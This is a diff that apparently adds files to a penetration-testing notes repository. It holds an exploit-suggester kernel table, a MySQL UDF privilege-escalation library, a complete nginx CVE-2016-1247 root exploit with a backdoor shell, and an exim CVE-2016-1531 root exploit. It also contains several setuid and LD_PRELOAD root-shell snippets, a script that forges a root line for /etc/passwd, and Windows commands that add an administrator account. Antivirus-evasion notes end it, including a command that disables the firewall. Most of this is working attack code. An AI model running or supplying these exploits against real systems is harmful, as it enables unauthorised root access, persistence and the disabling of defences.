'3.0.6', '3.1.0', '3.2.0', '3.3.0', '3.4.0', '3.4.1',
|
||||
'3.4.2', '3.4.3', '3.4.4', '3.4.5', '3.4.6', '3.4.8',
|
||||
'3.4.9', '3.5.0', '3.6.0', '3.7.0', '3.8.0', '3.8.1',
|
||||
'3.8.2', '3.8.3', '3.8.4', '3.8.5', '3.8.6', '3.8.7',
|
||||
'3.8.8', '3.8.9',
|
||||
],
|
||||
cve => '2013-2094',
|
||||
mil => 'http://www.exploit-db.com/exploits/26131',
|
||||
},
|
||||
'msr' => {
|
||||
vuln => [
|
||||
'2.6.18', '2.6.19', '2.6.20', '2.6.21', '2.6.22', '2.6.23',
|
||||
'2.6.24', '2.6.25', '2.6.26', '2.6.27', '2.6.27', '2.6.28',
|
||||
'2.6.29', '2.6.30', '2.6.31', '2.6.32', '2.6.33', '2.6.34',
|
||||
'2.6.35', '2.6.36', '2.6.37', '2.6.38', '2.6.39', '3.0.0',
|
||||
'3.0.1', '3.0.2', '3.0.3', '3.0.4', '3.0.5', '3.0.6',
|
||||
'3.1.0', '3.2.0', '3.3.0', '3.4.0', '3.5.0', '3.6.0',
|
||||
'3.7.0', '3.7.6',
|
||||
],
|
||||
cve => '2013-0268',
|
||||
mil => 'http://www.exploit-db.com/exploits/27297',
|
||||
},
|
||||
'timeoutpwn' => {
|
||||
vuln => [
|
||||
'3.4.0', '3.5.0', '3.6.0', '3.7.0', '3.8.0', '3.8.9',
|
||||
'3.9.0', '3.10.0', '3.11.0', '3.12.0', '3.13.0', '3.4.0',
|
||||
'3.5.0', '3.6.0', '3.7.0', '3.8.0', '3.8.5', '3.8.6',
|
||||
'3.8.9', '3.9.0', '3.9.6', '3.10.0', '3.10.6', '3.11.0',
|
||||
'3.12.0', '3.13.0', '3.13.1'
|
||||
],
|
||||
cve => '2014-0038',
|
||||
mil => 'http://www.exploit-db.com/exploits/31346',
|
||||
},
|
||||
'rawmodePTY' => {
|
||||
vuln => [
|
||||
'2.6.31', '2.6.32', '2.6.33', '2.6.34', '2.6.35', '2.6.36',
|
||||
'2.6.37', '2.6.38', '2.6.39', '3.14.0', '3.15.0'
|
||||
],
|
||||
cve => '2014-0196',
|
||||
mil => 'http://packetstormsecurity.com/files/download/126603/cve-2014-0196-md.c',
|
||||
},
|
||||
'overlayfs' => {
|
||||
vuln => [
|
||||
'3.13.0', '3.16.0', '3.19.0'
|
||||
],
|
||||
cve => '2015-8660',
|
||||
mil => 'http://www.exploit-db.com/exploits/39230',
|
||||
},
|
||||
'pp_key' => {
|
||||
vuln => [
|
||||
'3.4.0', '3.5.0', '3.6.0', '3.7.0', '3.8.0', '3.8.1',
|
||||
'3.8.2', '3.8.3', '3.8.4', '3.8.5', '3.8.6', '3.8.7',
|
||||
'3.8.8', '3.8.9', '3.9.0', '3.9.6', '3.10.0', '3.10.6',
|
||||
'3.11.0', '3.12.0', '3.13.0', '3.13.1'
|
||||
],
|
||||
cve => '2016-0728',
|
||||
mil => 'http://www.exploit-db.com/exploits/39277',
|
||||
},
|
||||
'dirty_cow' => {
|
||||
vuln => [
|
||||
'2.6.22', '2.6.23', '2.6.24', '2.6.25', '2.6.26', '2.6.27',
|
||||
'2.6.27', '2.6.28', '2.6.29', '2.6.30', '2.6.31', '2.6.32',
|
||||
'2.6.33', '2.6.34', '2.6.35', '2.6.36', '2.6.37', '2.6.38',
|
||||
'2.6.39', '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4',
|
||||
'3.0.5', '3.0.6', '3.1.0', '3.2.0', '3.3.0', '3.4.0',
|
||||
'3.5.0', '3.6.0', '3.7.0', '3.7.6', '3.8.0', '3.9.0',
|
||||
'3.10.0', '3.11.0', '3.12.0', '3.13.0', '3.14.0', '3.15.0',
|
||||
'3.16.0', '3.17.0', '3.18.0', '3.19.0', '4.0.0', '4.1.0',
|
||||
'4.2.0', '4.3.0', '4.4.0', '4.5.0', '4.6.0', '4.7.0'
|
||||
],
|
||||
cve => '2016-5195',
|
||||
mil => 'http://www.exploit-db.com/exploits/40616',
|
||||
},
|
||||
'af_packet' => {
|
||||
vuln => ['4.4.0' ],
|
||||
cve => '2016-8655',
|
||||
mil => 'http://www.exploit-db.com/exploits/40871',
|
||||
},
|
||||
'packet_set_ring' => {
|
||||
vuln => ['4.8.0' ],
|
||||
cve => '2017-7308',
|
||||
mil => 'http://www.exploit-db.com/exploits/41994',
|
||||
},
|
||||
'clone_newuser' => {
|
||||
vuln => [
|
||||
'3.3.5', '3.3.4', '3.3.2', '3.2.13', '3.2.9', '3.2.1',
|
||||
'3.1.8', '3.0.5', '3.0.4', '3.0.2', '3.0.1', '3.2', '3.0.1', '3.0'
|
||||
],
|
||||
cve => 'N\A',
|
||||
mil => 'http://www.exploit-db.com/exploits/38390',
|
||||
},
|
||||
'get_rekt' => {
|
||||
vuln => [
|
||||
'4.4.0', '4.8.0', '4.10.0', '4.13.0'
|
||||
],
|
||||
cve => '2017-16695',
|
||||
mil => 'http://www.exploit-db.com/exploits/45010',
|
||||
},
|
||||
'exploit_x' => {
|
||||
vuln => [
|
||||
'2.6.22', '2.6.23', '2.6.24', '2.6.25', '2.6.26', '2.6.27',
|
||||
'2.6.27', '2.6.28', '2.6.29', '2.6.30', '2.6.31', '2.6.32',
|
||||
'2.6.33', '2.6.34', '2.6.35', '2.6.36', '2.6.37', '2.6.38',
|
||||
'2.6.39', '3.0.0', '3.0.1', '3.0.2', '3.0.3', '3.0.4',
|
||||
'3.0.5', '3.0.6', '3.1.0', '3.2.0', '3.3.0', '3.4.0',
|
||||
'3.5.0', '3.6.0', '3.7.0', '3.7.6', '3.8.0', '3.9.0',
|
||||
'3.10.0', '3.11.0', '3.12.0', '3.13.0', '3.14.0', '3.15.0',
|
||||
'3.16.0', '3.17.0', '3.18.0', '3.19.0', '4.0.0', '4.1.0',
|
||||
'4.2.0', '4.3.0', '4.4.0', '4.5.0', '4.6.0', '4.7.0'
|
||||
],
|
||||
cve => '2018-14665',
|
||||
mil => 'http://www.exploit-db.com/exploits/45697',
|
||||
},
|
||||
);
|
||||
}
|
||||
|
||||
__END__
|
||||
=head1 NAME
|
||||
|
||||
linux_exploit_suggester-2.pl - A local exploit suggester for linux
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
This perl script will enumerate the possible exploits available for a given kernel version
|
||||
|
||||
=head1 USAGE
|
||||
|
||||
[-h] Help (this message)
|
||||
[-k] Kernel number (eg. 2.6.28)
|
||||
[-d] Open exploit download menu
|
||||
|
||||
You can also provide a partial kernel version (eg. 2.4)
|
||||
to see all exploits available.
|
||||
|
||||
=head1 AUTHOR
|
||||
|
||||
Jonathan Donas (c) 2019
|
||||
|
||||
=head1 CHANGELOG
|
||||
|
||||
27-03-2019 added exploit download menu
|
||||
|
||||
31-12-2018 added exploit_x
|
||||
|
||||
30-11-2018 added get_rekt
|
||||
|
||||
15-04-2018 added clone_newuser
|
||||
|
||||
23-11-2017 added packet_set_ring
|
||||
|
||||
05-11-2017 added af_packet
|
||||
|
||||
28-04-2017 added dirty_cow
|
||||
|
||||
25-07-2016 added overlayfs and pp_key
|
||||
|
||||
=cut
|
||||
|
||||
=head1 LICENSE
|
||||
|
||||
Linux Exploit Suggester 2
|
||||
|
||||
This program is free software; you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation; either version 2 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with this program; if not, write to the Free Software Foundation, Inc.,
|
||||
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
|
||||
|
||||
=cut
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,93 @@
|
|||
/*
|
||||
* $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $
|
||||
*
|
||||
* raptor_udf2.c - dynamic library for do_system() MySQL UDF
|
||||
* Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
|
||||
*
|
||||
* This is an helper dynamic library for local privilege escalation through
|
||||
* MySQL run with root privileges (very bad idea!), slightly modified to work
|
||||
* with newer versions of the open-source database. Tested on MySQL 4.1.14.
|
||||
*
|
||||
* See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c
|
||||
*
|
||||
* Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes
|
||||
* for the security vulnerabilities in the handling of User Defined Functions
|
||||
* (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further
|
||||
* details, please refer to:
|
||||
*
|
||||
* http://dev.mysql.com/doc/refman/5.0/en/udf-security.html
|
||||
* http://www.wisec.it/vulns.php?page=4
|
||||
* http://www.wisec.it/vulns.php?page=5
|
||||
* http://www.wisec.it/vulns.php?page=6
|
||||
*
|
||||
* "UDFs should have at least one symbol defined in addition to the xxx symbol
|
||||
* that corresponds to the main xxx() function. These auxiliary symbols
|
||||
* correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and
|
||||
* xxx_add() functions". -- User Defined Functions Security Precautions
|
||||
*
|
||||
* Usage:
|
||||
* $ id
|
||||
* uid=500(raptor) gid=500(raptor) groups=500(raptor)
|
||||
* $ gcc -g -c raptor_udf2.c
|
||||
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
* $ mysql -u root -p
|
||||
* Enter password:
|
||||
* [...]
|
||||
* mysql> use mysql;
|
||||
* mysql> create table foo(line blob);
|
||||
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
|
||||
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
|
||||
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
|
||||
* mysql> select * from mysql.func;
|
||||
* +-----------+-----+----------------+----------+
|
||||
* | name | ret | dl | type |
|
||||
* +-----------+-----+----------------+----------+
|
||||
* | do_system | 2 | raptor_udf2.so | function |
|
||||
* +-----------+-----+----------------+----------+
|
||||
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
|
||||
* mysql> \! sh
|
||||
* sh-2.05b$ cat /tmp/out
|
||||
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
|
||||
* [...]
|
||||
*
|
||||
* E-DB Note: Keep an eye on https://github.com/mysqludf/lib_mysqludf_sys
|
||||
*
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
|
||||
|
||||
typedef struct st_udf_args {
|
||||
unsigned int arg_count; // number of arguments
|
||||
enum Item_result *arg_type; // pointer to item_result
|
||||
char **args; // pointer to arguments
|
||||
unsigned long *lengths; // length of string args
|
||||
char *maybe_null; // 1 for maybe_null args
|
||||
} UDF_ARGS;
|
||||
|
||||
typedef struct st_udf_init {
|
||||
char maybe_null; // 1 if func can return NULL
|
||||
unsigned int decimals; // for real functions
|
||||
unsigned long max_length; // for string functions
|
||||
char *ptr; // free ptr for func data
|
||||
char const_item; // 0 if result is constant
|
||||
} UDF_INIT;
|
||||
|
||||
int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
|
||||
{
|
||||
if (args->arg_count != 1)
|
||||
return(0);
|
||||
|
||||
system(args->args[0]);
|
||||
|
||||
return(0);
|
||||
}
|
||||
|
||||
char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
|
||||
{
|
||||
return(0);
|
||||
}
|
||||
|
||||
// milw0rm.com [2006-02-20]
|
|
@ -0,0 +1,229 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# Nginx (Debian-based distros + Gentoo) - Root Privilege Escalation PoC Exploit
|
||||
# nginxed-root.sh (ver. 1.0)
|
||||
#
|
||||
# CVE-2016-1247
|
||||
#
|
||||
# Discovered and coded by:
|
||||
#
|
||||
# Dawid Golunski
|
||||
# dawid[at]legalhackers.com
|
||||
#
|
||||
# https://legalhackers.com
|
||||
#
|
||||
# Follow https://twitter.com/dawid_golunski for updates on this advisory.
|
||||
#
|
||||
# ---
|
||||
# This PoC exploit allows local attackers on Debian-based systems (Debian, Ubuntu
|
||||
# as well as Gentoo etc.) to escalate their privileges from nginx web server user
|
||||
# (www-data) to root through unsafe error log handling.
|
||||
#
|
||||
# The exploit waits for Nginx server to be restarted or receive a USR1 signal.
|
||||
# On Debian-based systems the USR1 signal is sent by logrotate (/etc/logrotate.d/nginx)
|
||||
# script which is called daily by the cron.daily on default installations.
|
||||
# The restart should take place at 6:25am which is when cron.daily executes.
|
||||
# Attackers can therefore get a root shell automatically in 24h at most without any admin
|
||||
# interaction just by letting the exploit run till 6:25am assuming that daily logrotation
|
||||
# has been configured.
|
||||
#
|
||||
#
|
||||
# Exploit usage:
|
||||
# ./nginxed-root.sh path_to_nginx_error.log
|
||||
#
|
||||
# To trigger logrotation for testing the exploit, you can run the following command:
|
||||
#
|
||||
# /usr/sbin/logrotate -vf /etc/logrotate.d/nginx
|
||||
#
|
||||
# See the full advisory for details at:
|
||||
# https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
|
||||
#
|
||||
# Video PoC:
|
||||
# https://legalhackers.com/videos/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
|
||||
#
|
||||
#
|
||||
# Disclaimer:
|
||||
# For testing purposes only. Do no harm.
|
||||
#
|
||||
|
||||
BACKDOORSH="/bin/bash"
|
||||
BACKDOORPATH="/tmp/nginxrootsh"
|
||||
PRIVESCLIB="/tmp/privesclib.so"
|
||||
PRIVESCSRC="/tmp/privesclib.c"
|
||||
SUIDBIN="/usr/bin/sudo"
|
||||
|
||||
function cleanexit {
|
||||
# Cleanup
|
||||
echo -e "\n[+] Cleaning up..."
|
||||
rm -f $PRIVESCSRC
|
||||
rm -f $PRIVESCLIB
|
||||
rm -f $ERRORLOG
|
||||
touch $ERRORLOG
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo -n > /etc/ld.so.preload
|
||||
fi
|
||||
echo -e "\n[+] Job done. Exiting with code $1 \n"
|
||||
exit $1
|
||||
}
|
||||
|
||||
function ctrl_c() {
|
||||
echo -e "\n[+] Ctrl+C pressed"
|
||||
cleanexit 0
|
||||
}
|
||||
|
||||
#intro
|
||||
|
||||
cat <<_eascii_
|
||||
_______________________________
|
||||
< Is your server (N)jinxed ? ;o >
|
||||
-------------------------------
|
||||
\
|
||||
\ __---__
|
||||
_- /--______
|
||||
__--( / \ )XXXXXXXXXXX\v.
|
||||
.-XXX( O O )XXXXXXXXXXXXXXX-
|
||||
/XXX( U ) XXXXXXX\
|
||||
/XXXXX( )--_ XXXXXXXXXXX\
|
||||
/XXXXX/ ( O ) XXXXXX \XXXXX\
|
||||
XXXXX/ / XXXXXX \__ \XXXXX
|
||||
XXXXXX__/ XXXXXX \__---->
|
||||
---___ XXX__/ XXXXXX \__ /
|
||||
\- --__/ ___/\ XXXXXX / ___--/=
|
||||
\-\ ___/ XXXXXX '--- XXXXXX
|
||||
\-\/XXX\ XXXXXX /XXXXX
|
||||
\XXXXXXXXX \ /XXXXX/
|
||||
\XXXXXX > _/XXXXX/
|
||||
\XXXXX--__/ __-- XXXX/
|
||||
-XXXXXXXX--------------- XXXXXX-
|
||||
\XXXXXXXXXXXXXXXXXXXXXXXXXX/
|
||||
""VXXXXXXXXXXXXXXXXXXV""
|
||||
_eascii_
|
||||
|
||||
echo -e "\033[94m \nNginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) \nnginxed-root.sh (ver. 1.0)\n"
|
||||
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttps://legalhackers.com \033[0m"
|
||||
|
||||
# Args
|
||||
if [ $# -lt 1 ]; then
|
||||
echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n"
|
||||
echo -e "It seems that this server uses: `ps aux | grep nginx | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# Priv check
|
||||
|
||||
echo -e "\n[+] Starting the exploit as: \n\033[94m`id`\033[0m"
|
||||
id | grep -q www-data
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] You need to execute the exploit as www-data user! Exiting.\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# Set target paths
|
||||
ERRORLOG="$1"
|
||||
if [ ! -f $ERRORLOG ]; then
|
||||
echo -e "\n[!] The specified Nginx error log ($ERRORLOG) doesn't exist. Try again.\n"
|
||||
exit 3
|
||||
fi
|
||||
|
||||
# [ Exploitation ]
|
||||
|
||||
trap ctrl_c INT
|
||||
# Compile privesc preload library
|
||||
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
|
||||
cat <<_solibeof_>$PRIVESCSRC
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <dlfcn.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
uid_t geteuid(void) {
|
||||
static uid_t (*old_geteuid)();
|
||||
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
|
||||
if ( old_geteuid() == 0 ) {
|
||||
chown("$BACKDOORPATH", 0, 0);
|
||||
chmod("$BACKDOORPATH", 04777);
|
||||
unlink("/etc/ld.so.preload");
|
||||
}
|
||||
return old_geteuid();
|
||||
}
|
||||
_solibeof_
|
||||
/bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl"
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
|
||||
cleanexit 2;
|
||||
fi
|
||||
|
||||
|
||||
# Prepare backdoor shell
|
||||
cp $BACKDOORSH $BACKDOORPATH
|
||||
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
|
||||
|
||||
# Safety check
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
|
||||
exit 2
|
||||
fi
|
||||
|
||||
# Symlink the log file
|
||||
rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG
|
||||
if [ $? -ne 0 ]; then
|
||||
echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink."
|
||||
cleanexit 3
|
||||
fi
|
||||
echo -e "\n[+] The server appears to be \033[94m(N)jinxed\033[0m (writable logdir) ! :) Symlink created at: \n`ls -l $ERRORLOG`"
|
||||
|
||||
# Make sure the nginx access.log contains at least 1 line for the logrotation to get triggered
|
||||
curl http://localhost/ >/dev/null 2>/dev/null
|
||||
# Wait for Nginx to re-open the logs/USR1 signal after the logrotation (if daily
|
||||
# rotation is enable in logrotate config for nginx, this should happen within 24h at 6:25am)
|
||||
echo -ne "\n[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am..."
|
||||
while :; do
|
||||
sleep 1
|
||||
if [ -f /etc/ld.so.preload ]; then
|
||||
echo $PRIVESCLIB > /etc/ld.so.preload
|
||||
rm -f $ERRORLOG
|
||||
break;
|
||||
fi
|
||||
done
|
||||
|
||||
# /etc/ld.so.preload should be owned by www-data user at this point
|
||||
# Inject the privesc.so shared library to escalate privileges
|
||||
echo $PRIVESCLIB > /etc/ld.so.preload
|
||||
echo -e "\n[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: \n`ls -l /etc/ld.so.preload`"
|
||||
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
|
||||
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`"
|
||||
chmod 755 /etc/ld.so.preload
|
||||
|
||||
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
|
||||
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
|
||||
sudo 2>/dev/null >/dev/null
|
||||
|
||||
# Check for the rootshell
|
||||
ls -l $BACKDOORPATH
|
||||
ls -l $BACKDOORPATH | grep rws | grep -q root
|
||||
if [ $? -eq 0 ]; then
|
||||
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`"
|
||||
echo -e "\n\033[94mThe server is (N)jinxed ! ;) Got root via Nginx!\033[0m"
|
||||
else
|
||||
echo -e "\n[!] Failed to get root"
|
||||
cleanexit 2
|
||||
fi
|
||||
|
||||
rm -f $ERRORLOG
|
||||
echo > $ERRORLOG
|
||||
|
||||
# Use the rootshell to perform cleanup that requires root privilges
|
||||
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
|
||||
# Reset the logging to error.log
|
||||
$BACKDOORPATH -p -c "kill -USR1 `pidof -s nginx`"
|
||||
|
||||
# Execute the rootshell
|
||||
echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n"
|
||||
$BACKDOORPATH -p -i
|
||||
|
||||
# Job done.
|
||||
cleanexit 0
|
|
@ -0,0 +1,9 @@
|
|||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
void _init() {
|
||||
unsetenv("LD_PRELOAD");
|
||||
setresuid(0,0,0);
|
||||
system("/bin/bash -p");
|
||||
}
|
|
@ -0,0 +1,23 @@
|
|||
#!/bin/sh
|
||||
# CVE-2016-1531 exim <= 4.84-3 local root exploit
|
||||
# ===============================================
|
||||
# you can write files as root or force a perl module to
|
||||
# load by manipulating the perl environment and running
|
||||
# exim with the "perl_startup" arguement -ps.
|
||||
#
|
||||
# e.g.
|
||||
# [fantastic@localhost tmp]$ ./cve-2016-1531.sh
|
||||
# [ CVE-2016-1531 local root exploit
|
||||
# sh-4.3# id
|
||||
# uid=0(root) gid=1000(fantastic) groups=1000(fantastic)
|
||||
#
|
||||
# -- Hacker Fantastic
|
||||
echo [ CVE-2016-1531 local root exploit
|
||||
cat > /tmp/root.pm << EOF
|
||||
package root;
|
||||
use strict;
|
||||
use warnings;
|
||||
|
||||
system("/bin/sh");
|
||||
EOF
|
||||
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
|
|
@ -0,0 +1,10 @@
|
|||
#find / -perm -u=s -type f 2>/dev/null
|
||||
echo "================suid set================"
|
||||
find / -perm /4000 2>/dev/null
|
||||
|
||||
echo "================sguid set================"
|
||||
find / -perm /2000 2>/dev/null
|
||||
|
||||
|
||||
echo "================suid & sguid set================"
|
||||
find / -perm /6000 2>/dev/null
|
|
@ -0,0 +1,9 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static void inject() __attribute__((constructor));
|
||||
|
||||
void inject() {
|
||||
setuid(0);
|
||||
system("/bin/bash -p");
|
||||
}
|
|
@ -0,0 +1,4 @@
|
|||
int main() {
|
||||
setuid(0);
|
||||
system("/bin/bash -p");
|
||||
}
|
|
@ -0,0 +1,18 @@
|
|||
#!/usr/bin/env sh
|
||||
# Use when /etc/passwd is writeable
|
||||
|
||||
printf "\n[*] Create hash for password\n"
|
||||
NEWUSER=$(openssl passwd -1 -salt salt password)
|
||||
printf $NEWUSER
|
||||
|
||||
printf "\n"
|
||||
printf "\n[*] Generate username\n"
|
||||
NEWNAME=$(head -n 1 /dev/urandom | tr -cd '[:alpha:]' | cut -c -5)
|
||||
printf $NEWNAME
|
||||
printf "\n"
|
||||
|
||||
printf "\n[$] Paste to /etc/passwd\n"
|
||||
printf $NEWNAME":"$NEWUSER":0:0:root:/root:/bin/bash"
|
||||
printf "\n"
|
||||
|
||||
|
|
@ -0,0 +1,55 @@
|
|||
# Post Exploitation Tools
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
[Carlos' Linpeas](https://github.com/carlospolop/PEASS-ng.git)
|
||||
[Linpeas via HTTPS](https://linpeas.sh/)
|
||||
[Seatbelt](https://github.com/GhostPack/Seatbelt.git)
|
||||
[hemp3l's sucrack](https://github.com/hemp3l/sucrack.git)
|
||||
[linuxprivchecker](https://github.com/sleventyeleven/linuxprivchecker.git)
|
||||
|
||||
## Firefox Decryption
|
||||
|
||||
[Firefox Decrypt](https://github.com/unode/firefox_decrypt.git)
|
||||
[Firepwd](https://github.com/lclevy/firepwd.git)
|
||||
|
||||
## Kerberos
|
||||
|
||||
[Kerberoast](https://gitlab.com/kalilinux/packages/kerberoast.git)
|
||||
|
||||
## Mimikatz
|
||||
|
||||
[Gentilkiwi's Mimikatz](https://github.com/gentilkiwi/mimikatz.git)
|
||||
|
||||
## Command and Control Frameworks
|
||||
|
||||
There is a [C2 Tools overview](https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit#gid=0) which collected nearly every C2 out there. Here is a selection of some of them.
|
||||
|
||||
* Fortra
|
||||
|
||||
[Cobalt Strike](https://www.cobaltstrike.com/)
|
||||
|
||||
* Rapid7
|
||||
|
||||
[Metasploit](https://github.com/rapid7/metasploit-framework.git)
|
||||
[Archived Armitage Website](https://web.archive.org/web/20211006153158/http://www.fastandeasyhacking.com/)
|
||||
[Armitage on gitlab](https://gitlab.com/kalilinux/packages/armitage)
|
||||
|
||||
* BC-Security
|
||||
|
||||
[Empire](https://github.com/BC-SECURITY/Empire.git)
|
||||
[Empire's Starkiller](https://github.com/BC-SECURITY/Starkiller.git)
|
||||
|
||||
* Cobbr
|
||||
|
||||
[Covenant](https://github.com/cobbr/Covenant.git)
|
||||
|
||||
* BishopFox
|
||||
|
||||
[BishopFox's Site](https://bishopfox.com/)
|
||||
[Sliver](https://github.com/BishopFox/sliver.git)
|
||||
|
||||
* Dark Vortex
|
||||
|
||||
[Bruteratel](https://bruteratel.com/)
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
# Add user as system user
|
||||
```sh
|
||||
net user <username> <password> /add
|
||||
```
|
||||
```sh
|
||||
net localgroup Administrator <username> /add
|
||||
```
|
||||
```sh
|
||||
net localgroup "Remote Management Users" <username> /add
|
||||
```
|
||||
```sh
|
||||
net user <username>
|
||||
```
|
||||
* connect via winRM
|
||||
|
||||
|
|
@ -0,0 +1,188 @@
|
|||
# Antivirus Evasion
|
||||
|
||||
* Existing types
|
||||
* On-Disk evasion
|
||||
* In-Memory evasion
|
||||
|
||||
* Detection Methods
|
||||
* Static Detection -- Hash or String/Byte Matching
|
||||
* Dynamic -- predefined rules, run inside a sandbox, querying API and syscalls at runtime
|
||||
* Heuristic / Behaviourial Detection -- threshold hits by either static comparison of decompiled code or dynamically analyzed software
|
||||
|
||||
* Additional Features
|
||||
* Unpacker -- decrypting and decompress
|
||||
* PE header parser -- portable executable headers are parsed
|
||||
* Emulation -- analysis in an emulated env
|
||||
|
||||
## Enumeration
|
||||
|
||||
```sh
|
||||
wmic /namespace:\\root\securitycenter2 path antivirusproduct
|
||||
Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct
|
||||
```
|
||||
```sh
|
||||
Get-Service WinDefend
|
||||
Get-MpComputerStatus | select RealTimeProtectionEnabled
|
||||
```
|
||||
* Check firewall
|
||||
```sh
|
||||
Get-NetFirewallProfile | Format-Table Name, Enabled
|
||||
```
|
||||
```sh
|
||||
Get-NetFirewallRule | select DisplayName, Enabled, Description
|
||||
```
|
||||
* Check inbound port availability
|
||||
```sh
|
||||
Test-NetConnection -ComputerName 127.0.0.1 -Port 80
|
||||
```
|
||||
|
||||
* Check Windows Defender and its active rules
|
||||
```sh
|
||||
powershell -c "Get-MpPreference"
|
||||
powershell -c "Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Id
|
||||
```
|
||||
|
||||
* Check tamper protection, and [bypass](https://gist.github.com/tyranid/c65520160b61ec851e68811de3cd646d#file-doh-ps1)
|
||||
```sh
|
||||
reg query "HKLM\Software\Microsoft\Windows Defender\Features" /v TamperProtection
|
||||
```
|
||||
|
||||
## Reset Options
|
||||
```sh
|
||||
Set-NetFirewallProfile -Profile Domain, Public, Private -Enabled False
|
||||
```
|
||||
|
||||
## Anti Malware Secure Interface
|
||||
|
||||
* Powershell .NET runtime detection measure of windows. Scans code before executed.
|
||||
* https://docs.microsoft.com/en-us/windows/win32/amsi/
|
||||
* https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-functions
|
||||
* https://docs.microsoft.com/en-us/windows/win32/api/amsi/nn-amsi-iamsistream
|
||||
* Integrated inside components
|
||||
* User Account Control (UAC)
|
||||
* Powershell
|
||||
* Windows Script Host (wscript, csrcipt)
|
||||
* JavaScript and VBScript
|
||||
* VBA macros
|
||||
* `System.Management.Automation.dll`
|
||||
|
||||
* Flow
|
||||
```
|
||||
| Win32 API | COM API | AV Provider |
|
||||
Interpreter --> AMSIScanBuffer --> AMSIScanString --> IAntiMalware::Scan() --> IAntiMalwareProvider::Scan()
|
||||
```
|
||||
|
||||
### Return Result/Response Codes
|
||||
```
|
||||
AMSI_RESULT_CLEAN = 0
|
||||
AMSI_RESULT_NOT_DETECTED = 1
|
||||
AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384
|
||||
AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479
|
||||
AMSI_RESULT_DETECTED = 32768
|
||||
```
|
||||
|
||||
### PowerShell Downgrade Attack
|
||||
|
||||
